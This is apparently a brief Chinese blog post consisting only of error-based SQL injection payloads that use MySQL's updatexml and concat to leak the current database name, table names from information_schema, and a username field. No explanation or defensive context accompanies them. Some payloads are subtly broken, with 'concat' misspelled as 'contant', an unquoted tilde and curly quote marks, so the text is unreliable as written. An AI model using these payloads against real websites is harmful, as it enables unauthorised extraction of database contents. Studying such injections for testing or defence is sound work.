m0_51170293的博客

updatexml(1,contant(~,database()),2)’ or updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database()),~),2)#’ or updatexml(1,concat(’~’,username),1)#’ or updatexml(1,concat(’~’,database()),1)#’